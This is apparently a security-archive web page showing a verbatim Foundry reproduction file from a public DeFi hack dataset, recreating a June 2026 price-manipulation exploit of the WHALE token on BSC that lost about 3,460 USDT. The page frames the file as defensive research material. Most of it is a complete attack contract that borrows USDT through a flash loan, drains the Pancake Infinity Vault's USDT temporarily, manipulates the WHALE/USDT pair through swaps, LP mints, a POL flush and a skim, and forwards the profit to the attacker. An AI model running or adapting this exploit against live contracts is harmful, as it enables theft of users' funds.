Public reproduction file
src/test/2026-06/WHALE_exp.sol
Public reproduction file for dataset entry WHALE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 3,460.41 USDT8// Attacker : 0xa27eae743cd8c03e9b7c25ebf43dadbbc6df9bfa9// Attack Contract : 0x4ce3e5dea552d1440a8cd766a13a6384ea4d138610// Attack Deployer : 0x6d4dce5c6972127f4ff40354f5efc31bf7e3071911// Attack Logic : 0x8420c6657bf7c37c7014e158404b6416fd82f71412// Vulnerable Contract : 0xabc79b7c5a0f1fe0ac55fcb7e659d5817e53012313// Victim : 0xabc79b7c5a0f1fe0ac55fcb7e659d5817e53012314// Attack Tx : https://bscscan.com/tx/0xf8f431b392a50eb997ecae2e35668d6dd4dc8568d002057600d2532e18f36d8616// @Info17// Vulnerable Contract Code : https://bscscan.com/address/0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123#code19// @Analysis20// Twitter Guy : https://x.com/audit_911/status/206745165469441272021//22// The attacker used a Moolah USDT flash loan plus a Pancake Infinity Vault lock to manipulate the WHALE/USDT23// Pancake pair while WHALE's transfer pipeline staged LP credit, flushed POL liquidity, and settled hashrate rewards.24// The final reserve imbalance let the attacker swap a large WHALE balance out of the pair for USDT, repay both25// temporary funding sources, and forward the remaining USDT to the attacker EOA.27address constant ATTACKER = 0xA27eAE743Cd8C03E9b7c25ebF43DADbBC6Df9bFA;28address constant WHALE_TOKEN = 0xABC79B7C5a0f1fE0aC55fcB7E659D5817E530123;29address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;31address constant WHALE_USDT_PAIR = 0xdD3190246D90E20EbE93378B004836dcb4Bd4D59;32address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;33address constant WHALE_HASHRATE = 0x436C1758e9A9458b54187A2774e0Ac32De223691;34address constant POL_VAULT = 0x1D95B64A37a1434f10821DB82304f265728D96a5;35address constant PANCAKE_INFINITY_VAULT = 0x238a358808379702088667322f80aC48bAd5e6c4;36address constant MOOLAH_PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;37address constant REFERRER = 0xc83759EA31AED19e1964fdece783985201dc9Cf4;38address constant DEAD = 0x000000000000000000000000000000000000dEaD;40interface IMoolah {41 function flashLoan(42 address token,43 uint256 assets,44 bytes calldata data45 ) external;46}48interface IPancakeInfinityVault {49 function lock(50 bytes calldata data51 ) external returns (bytes memory result);52 function take(53 address currency,54 address to,55 uint256 amount56 ) external;57 function sync(58 address currency59 ) external;60 function settle() external payable returns (uint256 paid);61}63interface IPolVault {64 function flushPol() external returns (uint256 liquidityAdded);65}67interface IWHALEHashrate {68 function bindReferral(69 address upline70 ) external;71 function transferFrom(72 address from,73 address to,74 uint256 amount75 ) external returns (bool);76}78contract ContractTest is BaseTestWithBalanceLog {79 function setUp() public {80 vm.createSelectFork("bsc", 104_744_230);81 fundingToken = USDT_TOKEN;83 vm.label(ATTACKER, "Attacker EOA");84 vm.label(WHALE_TOKEN, "WHALE");85 vm.label(USDT_TOKEN, "USDT");86 vm.label(WHALE_USDT_PAIR, "WHALE/USDT Pancake pair");87 vm.label(WHALE_HASHRATE, "WHALEHashrate");88 vm.label(POL_VAULT, "PolVault");89 vm.label(PANCAKE_INFINITY_VAULT, "Pancake Infinity Vault");90 vm.label(MOOLAH_PROXY, "Moolah proxy");91 }93 function testExploit() public balanceLog2(ATTACKER) {94 uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);95 uint256 flashAmount = 7_772_960_679_833_989_887_601_242;97 vm.startPrank(ATTACKER, ATTACKER);98 WHALEExploit exploit = new WHALEExploit(ATTACKER);99 exploit.attack(flashAmount);100 vm.stopPrank();102 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;103 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");104 assertGt(profit, 3400 ether, "USDT profit after both repayments");105 }106}108contract WHALEExploit {109 IERC20 private constant usdt = IERC20(USDT_TOKEN);110 IERC20 private constant wbnb = IERC20(WBNB_TOKEN);111 IERC20 private constant whale = IERC20(WHALE_TOKEN);112 IPancakePair private constant pair = IPancakePair(WHALE_USDT_PAIR);113 IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));114 IWHALEHashrate private constant hashrate = IWHALEHashrate(WHALE_HASHRATE);115 IPolVault private constant polVault = IPolVault(POL_VAULT);116 IPancakeInfinityVault private constant infinityVault = IPancakeInfinityVault(PANCAKE_INFINITY_VAULT);117 IMoolah private constant moolah = IMoolah(MOOLAH_PROXY);119 address private immutable profitReceiver;120 uint256 private infinityVaultDebt;122 constructor(123 address profitReceiver_124 ) {125 profitReceiver = profitReceiver_;126 }128 function attack(129 uint256 flashAmount130 ) external {131 require(msg.sender == profitReceiver, "only receiver");133 // step 1: match the trace approvals, then borrow USDT from Moolah.134 wbnb.approve(MOOLAH_PROXY, type(uint256).max);135 usdt.approve(MOOLAH_PROXY, type(uint256).max);136 moolah.flashLoan(USDT_TOKEN, flashAmount, "");138 // step 12: after the Moolah pull, forward the remaining USDT to the EOA.139 usdt.transfer(profitReceiver, usdt.balanceOf(address(this)));140 }142 function onMoolahFlashLoan(143 uint256,144 bytes calldata145 ) external {146 require(msg.sender == MOOLAH_PROXY, "not Moolah");148 // step 2: enter Pancake Infinity Vault's lock; it calls lockAcquired(bytes).149 infinityVault.lock("");150 }152 function lockAcquired(153 bytes calldata154 ) external returns (bytes memory) {155 require(msg.sender == PANCAKE_INFINITY_VAULT, "not Infinity Vault");157 // step 3: temporarily take all available USDT from the Vault.158 infinityVaultDebt = usdt.balanceOf(PANCAKE_INFINITY_VAULT);159 infinityVault.take(USDT_TOKEN, address(this), infinityVaultDebt);161 _manipulateWhalePair();163 // step 10: repay the Pancake Infinity Vault accounting lock.164 infinityVault.sync(USDT_TOKEN);165 usdt.transfer(PANCAKE_INFINITY_VAULT, infinityVaultDebt);166 infinityVault.settle();168 return "";169 }171 function _manipulateWhalePair() private {172 // step 4: first USDT->WHALE buy, using the same pair output computation as the trace's router read.173 uint256 firstBuyUsdt = 1000 ether;174 uint256 firstWhaleOut = _getAmountOut(firstBuyUsdt, USDT_TOKEN, WHALE_TOKEN);175 usdt.transfer(WHALE_USDT_PAIR, firstBuyUsdt);176 pair.swap(0, firstWhaleOut, address(this), "");178 // step 5: transfer the received WHALE and a USDT side leg into the pair, then mint LP.179 uint256 whaleForFirstLp = whale.balanceOf(address(this));180 whale.transfer(WHALE_USDT_PAIR, whaleForFirstLp);181 uint256 firstLpUsdt = 1_282_802_761_974_940_717_135;182 usdt.transfer(WHALE_USDT_PAIR, firstLpUsdt);183 pair.mint(address(this));185 // step 6: flush POL; this re-enters WHALE's pair accounting through onPolStart/onPolEnd.186 polVault.flushPol();188 // step 7: bind the referral and do the trace's small USDT->WHALE reserve nudge.189 hashrate.bindReferral(REFERRER);190 uint256 smallBuyUsdt = 1 ether;191 uint256 smallWhaleOut = _getAmountOut(smallBuyUsdt, USDT_TOKEN, WHALE_TOKEN);192 usdt.transfer(WHALE_USDT_PAIR, smallBuyUsdt);193 pair.swap(0, smallWhaleOut, address(this), "");195 // step 8: pump the USDT reserve with a large buy, then send 3/8 of the pair WHALE balance back in.196 uint256 largeBuyUsdt = 15_000_000 ether;197 uint256 largeWhaleOut = _getAmountOut(largeBuyUsdt, USDT_TOKEN, WHALE_TOKEN);198 usdt.transfer(WHALE_USDT_PAIR, largeBuyUsdt);199 pair.swap(0, largeWhaleOut, address(this), "");201 uint256 whaleRecycle = whale.balanceOf(WHALE_USDT_PAIR) * 3 / 8;202 whale.transfer(WHALE_USDT_PAIR, whaleRecycle);204 // step 9: add the second USDT leg, self-skim, mint LP, then trigger zero-value accounting paths.205 uint256 secondLpUsdt = 5_627_166_965_683_900_781_893_915;206 usdt.transfer(WHALE_USDT_PAIR, secondLpUsdt);207 pair.skim(WHALE_USDT_PAIR);208 pair.mint(address(this));209 whale.transfer(address(this), 0);210 hashrate.transferFrom(WHALE_USDT_PAIR, DEAD, 0);212 // step 10: transfer the harvested WHALE imbalance into the pair and swap it to USDT.213 uint256 whaleProfitLeg = whale.balanceOf(address(this));214 whale.transfer(WHALE_USDT_PAIR, whaleProfitLeg);215 (, uint112 whaleReserve,) = pair.getReserves();216 uint256 finalWhaleIn = whale.balanceOf(WHALE_USDT_PAIR) - uint256(whaleReserve);217 uint256 finalUsdtOut = _getAmountOut(finalWhaleIn, WHALE_TOKEN, USDT_TOKEN);218 pair.swap(finalUsdtOut, 0, address(this), "");219 }221 function _getAmountOut(222 uint256 amountIn,223 address tokenIn,224 address tokenOut225 ) private view returns (uint256 amountOut) {226 address[] memory path = new address[](2);227 path[0] = tokenIn;228 path[1] = tokenOut;229 amountOut = router.getAmountsOut(amountIn, path)[1];230 }231}Analysis
Dataset entry
Public Foundry test for “WHALE” (2026-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa27eae743cd8c03e9b7c25ebf43dadbbc6df9bfa
- Attack Contract
0x4ce3e5dea552d1440a8cd766a13a6384ea4d1386
- Vulnerable Contract
0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123
- Victim
0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123
- Attack Tx
0xf8f431b392a50eb997ecae2e35668d6dd4dc8568d002057600d2532e18f36d86
File record
- Name
- WHALE
- Path
- src/test/2026-06/WHALE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 28d0dfd42a31ba302a44ecbc71b5089b0f69be62
- Language
- Solidity
- Size
- 232 lines
- Date
- 2026-06-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/WHALE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 28d0dfd42a31ba302a44ecbc71b5089b0f69be62, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.